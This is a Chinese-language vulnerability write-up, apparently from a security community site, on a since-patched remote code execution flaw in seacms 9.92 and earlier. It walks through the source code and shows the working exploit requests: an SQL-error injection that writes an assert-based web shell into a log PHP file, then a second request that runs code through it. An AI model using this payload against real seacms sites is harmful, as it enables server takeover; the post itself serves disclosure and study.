

seacms<=9.92前台getshell (已修复)

[mochazz](#) / 2019-09-04 09:17:00 / 浏览数 4999 [安全技术](#) [漏洞分析](#) [顶\(0\)](#) [踩\(0\)](#)

一个月前，90sec团队内部分享了一个 seacms 最新版前台 getshell。鉴于目前 seacms 已经更新到 9.98 版本，本文中的漏洞也已经修复了，网络上也公开了细节，这里将当时的记录分享出来。

漏洞文件在 comment/api/index.php，开头 require_once("../include/common.php") 主要会做两件事。先将 \$_GET、\$_POST、\$_COOKIE 注册成全局变量。（下图对应文件位置：include/filter.inc.php）

```
1  <?php
2  if(!defined('sea_INC')){...}
6
7  $magic_quotes_gpc = ini_get('magic_quotes_gpc'); $magic_quotes_gpc: false
8  function _FilterAll($fk, &$svar){...}
35
36 /* 对_GET, POST, COOKIE进行过滤 */
37 foreach(Array('_GET','_POST','_COOKIE') as $_request) $_request: "_GET"
38 {
39     foreach($_request as $_k => $_v)
40     {
41         $_k = _FilterAll($_k,$_v);
42     }
43 }
44
45 function _Replace_Badword(&$var){...}
57 /*...*/?>
```

注册全局变量



然后再检查这里是否存在非法变量名。不觉的这里有问题吗？正常逻辑应该是先检查变量名是否合法，然后再注册变量。还有一个问题就是，这里漏过滤了 \$_SESSION、\$_FILES，我们继续往下看。（下图对应文件位置：include/common.php）

```
1  <?php
2  error_reporting(0);
3  require_once('webscan/webscan.php');
4  define('sea_INC', preg_replace("[/\\\\]{1,}|", '/',dirname(__FILE__)));
5  define('sea_ROOT', preg_replace("[/\\\\]{1,}|", '/',substr(sea_INC,0,-8)));
6  define('sea_DATA', sea_ROOT.'/data');
7  require_once(sea_INC.'/inc/mysql.php');
8  require_once(sea_INC."/filter.inc.php");
9  if(PHP_VERSION < '4.1.0') {...}
17 $starttime = microtime();
18 require_once(sea_INC.'/common.func.php');
19 //检查和注册外部提交的变量
20 foreach($_REQUEST as $_k=>$_v) $_k: "kd35xb_admin_username" $_v: "admin"
21 {
22     if( strlen($_k)>0 && m_ereg('^(\cfg|GLOBALS|_GET|_POST|_COOKIE|_REQUEST|_SERVER)',$_k) && !isset($_COOKIE[$_k]) )
23     {
24         exit('Request var not allow!');
25     }
26 }
```



在下图第18行处调用了 ReadData 函数，我们跟进这个函数。在 ReadData 函数中，我们要关注 \$rlist，这个变量可以通过前面的全局变量注册来控制。而下面两个 Readmlist、Readrlist 都有用到这个变量，我们跟进。（下图对应文件位置：comment/api/index.php）

```

1  <?php
2  session_start();
3  require_once("../include/common.php");
4  $id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
5  $page = (isset($page) && is_numeric($page)) ? $page : 1;
6  $type = (isset($type) && is_numeric($type)) ? $type : 1;
7  $pCount = 0;
8  $jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
9  //缓存第一页的评论
10 if($page<2){...}
18 $h = ReadData($id,$page);
19 $rlist = array();
20 if($page<2){...}
24 die($h);
25
26 function ReadData($id,$page)
27 {
28     global $type,$pCount,$rlist;
29     $ret = array("", "", $page, 0, 10, $type, $id);
30     if($id>0)
31     {
32         $ret[0] = Readmlist($id,$page,$ret[4]);
33         $ret[3] = $pCount;
34         $x = implode(',',$rlist);
35         if(!empty($x))
36         {
37             $ret[1] = Readrlist($x,1,10000);
38         }
39     }
40     $readData = FormatJson($ret);

```

payload存放处



Readmlist 函数我们主要关注的是其对 \$rlist 变量的过滤，具体过滤如下：（下图对应文件位置：comment/api/index.php）

过滤

```
44 function Readmlist($id,$page,$size)
45 {
46     global $dsq,$type,$pCount,$rlist;
47     $rlist = str_ireplace('@', "", $rlist);
48     $rlist = str_ireplace('/*', "", $rlist);
49     $rlist = str_ireplace('*/', "", $rlist);
50     $rlist = str_ireplace('!*', "", $rlist);
51     $rlist = str_ireplace('%00', "", $rlist);
52     $rlist = str_ireplace('0x', "", $rlist);
53     $rlist = str_ireplace('%0b', "", $rlist);
54     $rlist = str_ireplace('%23', "", $rlist);
55     $rlist = str_ireplace('hex', "", $rlist);
56     $rlist = str_ireplace('updatexml', "update", $rlist);
57     $rlist = str_ireplace('extractvalue', "extract", $rlist);
58     $rlist = str_ireplace('union', "unio", $rlist);
59     $rlist = str_ireplace('benchmark', "bench", $rlist);
60     $rlist = str_ireplace('sleep', "slee", $rlist);
61     $rlist = str_ireplace('load_file', "", $rlist);
62     $rlist = str_ireplace('outfile', "out", $rlist);
63     $rlist = str_ireplace('ascii', "asc", $rlist);
64     $rlist = str_ireplace('char(', "cha", $rlist);
65     $rlist = str_ireplace('substr', "sub", $rlist);
66     $rlist = str_ireplace('substring', "sub", $rlist);
67     $rlist = str_ireplace('script', "scri", $rlist);
68     $rlist = str_ireplace('frame', "", $rlist);
69     $rlist = str_ireplace('%26', "", $rlist);
70     $rlist = str_ireplace('%7c', "", $rlist);
71     $rlist = str_ireplace('file_', "fil", $rlist);
72     $rlist = str_ireplace('information_schema', "infor", $rlist);
73     $rlist = str_ireplace('exp', "ex", $rlist);
74     $rlist = str_ireplace('information_schema', "infor", $rlist);
75     $rlist = str_ireplace('GeometryCollection', "Geomet", $rlist);
76     $rlist = str_ireplace('polygon', "poly", $rlist);
77     $rlist = str_ireplace('multipoint', "multi", $rlist);
78     $rlist = str_ireplace('multilinestring', "multi", $rlist);
79     $rlist = str_ireplace('linestring', "lines", $rlist);
80     $rlist = str_ireplace('multipolygon', "multi", $rlist);
81     $ml=array();
82     if($id>0){...}
96     $readmlist=join($ml,",");
97     return $readmlist;
98 }
```

先知社区

然后再看 Readrlist 函数。这里的 \$ids 其实就是刚才可控的 \$rlist 变量，有没发现这里直接拼接在 SQL 语句中，而且没有引号包裹。而 getshell 也是发生在 SQL 语句执行这里。（下图对应文件位置：comment/api/index.php）

```
100 function Readrlist($ids,$page,$size)
101 {
102     global $dsq,$type;
103     $rl=array();
104     $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER
105     $dsq->setQuery($sql);
106     $dsq->Execute('commentrlist');
107     while($row=$dsq->GetArray('commentrlist'))
108     {
109         $rl[]="\n".$row['id'].":{"uid\":".$row['uid'].",\"tmp\":".$row['username'].",\"face\":".$row['face'].",\"star\":".$row['star'].",\"ar
110     }
111     $readrlist=join($rl,",");
112     return $readrlist;
113 }
```

先知社区

当 SQL 语句执行出错时，seacms 会把出错的信息写入一个 PHP 文件，这也是最终导致 getshell 的原因。（下图对应文件位置：include/sql.class.php）

```

224 function Execute($id="me", $sql='')
225 {
238     //SQL语句安全检查
239     if($this->safeCheck) safeCheck: true
240     {
241         CheckSql($this->queryString);
242     }
246     $this->result[$id] = mysqli_query($this->linkID,$this->queryString);
254     if($this->result[$id]==false)
255     {
256         $this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");
257     }
258 }
465 function DisplayError($msg)
466 {
467     $errorTrackFile = (dirname(__FILE__).'/../data/mysql_error_trace.php');
472     $msg = '';
473     $msg .= "<div><h3>seacms Error Warning!</h3>\r\n";
474     $msg .= "<div><a href='http://www.seacms.net/'
475 ' target='_blank' style='...'>Technical Support: http://www.seacms.net/</a></div>";
476     $msg .= "<div style='line-height:160%;font-size:14px;color:green'>\r\n";
477     $msg .= "<div style='color:blue'><br />Error page: <font color='red'>".$this->GetCurUrl()."</font></div>\r\n";
478     $msg .= "<div>Error infos: {$msg}</div>\r\n";
479     $msg .= "<br /></div></div>\r\n";
484     $savemsg = 'Page: '.$this->GetCurUrl()."\r\nError: ".$msg;
485     //保存MySQL错误日志
486     $fp = @fopen($errorTrackFile, 'a');
487     @fwrite($fp, "\r\n<?php /*\r\n {$savemsg} \r\n*/ ?>\r\n\r\n");
488     @fclose($fp);
489 }

```



getshell 结果如下：

Request

Raw Params Headers Hex

```

GET
/seacms992/comment/api/index.php?gid=1&page=2&rlist[]={*hex/assert($_POST[1]);}%
3E HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

```

Response

Raw Headers Hex HTML Render

```

seacms Error Warning!

Technical Support: http://www.seacms.net/

Error page: /seacms992/comment/api/index.php?gid=1&page=2&rlist[]={*hex/assert($_POST[1]);}%3E
Error infos: You have an error in your SQL syntax, check the manual that corresponds to your MariaDB
server version for the right syntax to use near '*/assert($_POST[1]);?> ORDER BY id DESC' at line 1
Error sql: SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment
WHERE m_type=1 AND id in (*/assert($_POST[1]);?>) ORDER BY id DESC

{"mlist":[],"rlist":{},"page":{"page":2,"count":0,"size":10,"type":1,"id":1}}

```

Request

Raw Params Headers Hex

```

GET /seacms992/data/mysql_error_trace.php?_=phpinfo(); HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

```

Response

Raw Headers Hex HTML Render

```

PHP Version
5.6.40-8+ubuntu16.04.1+deb.sury.

System Linux mochazz-PC 4.15.0-30deepin-generic #31 SMP Fri N
Server API Apache 2.0 Handler

```

不得不吐槽一句，这个 CMS 写的真的很烂，代码有很多问题。

点击收藏 | 1 关注 | 1

[上一篇：通过基于时间的侧信道攻击识别WAF规则](#) [下一篇：绕过CSRF防御](#)

1. 1 条回复



[ADog](#) 2019-09-05 13:51:43

- 1.起初看rlist这个点怎么看都觉得有注入，后来就是绕不过去，感觉这个点还有研究的可能。
- 2.通过sql报错写shell先前就发现存在这个问题了，但是当时怎么注都无法写到文件里去，遂放弃。。

0 回复Ta

[登录](#) 后跟帖

[先知社区](#)

[现在登录](#)

[热门节点](#)

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)